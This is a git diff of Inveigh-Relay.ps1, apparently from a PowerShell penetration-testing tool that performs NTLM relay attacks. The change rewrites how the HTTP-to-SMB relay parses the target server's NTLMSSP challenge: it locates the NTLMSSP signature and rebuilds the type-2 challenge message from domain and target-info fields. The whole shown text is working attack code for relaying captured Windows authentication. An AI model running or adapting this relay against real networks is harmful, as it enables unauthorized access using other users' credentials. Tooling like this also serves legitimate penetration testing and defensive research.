diff options
Diffstat (limited to 'Scripts/Inveigh-Relay.ps1')
| -rw-r--r-- | Scripts/Inveigh-Relay.ps1 | 24 |
1 files changed, 16 insertions, 8 deletions
diff --git a/Scripts/Inveigh-Relay.ps1 b/Scripts/Inveigh-Relay.ps1 index 5751ed0..2a220f8 100644 --- a/Scripts/Inveigh-Relay.ps1 +++ b/Scripts/Inveigh-Relay.ps1 @@ -488,7 +488,7 @@ $SMB_relay_challenge_scriptblock = } } - $SMB_relay_challenge_stream.write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length) + $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length) $SMB_relay_challenge_stream.Flush() if($SMBRelayNetworkTimeout) @@ -1011,16 +1011,24 @@ $HTTP_scriptblock = $inveigh.SMB_relay_active_step = 2 $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length] $SMB_user_ID = $SMB_relay_bytes[34..33] - $SMB_relay_NTLM_challenge = $SMB_relay_bytes[102..109] - $SMB_relay_target_details = $SMB_relay_bytes[118..257] - $SMB_relay_time = $SMB_relay_bytes[258..265] + $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) + $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" + $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 + $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes + $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] + $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes + $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] + $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] + $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` + [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00)` + + $SMB_domain_length_offset_bytes` + + (0x05,0x82,0x89,0xa2)` + $SMB_relay_NTLM_challenge` + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` - + $SMB_relay_target_details` - + $SMB_relay_time` - + (0x00,0x00,0x00,0x00) + + $SMB_target_length_offset_bytes` + + $SMB_relay_target_details $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = 'NTLM ' + $NTLM_challenge_base64 |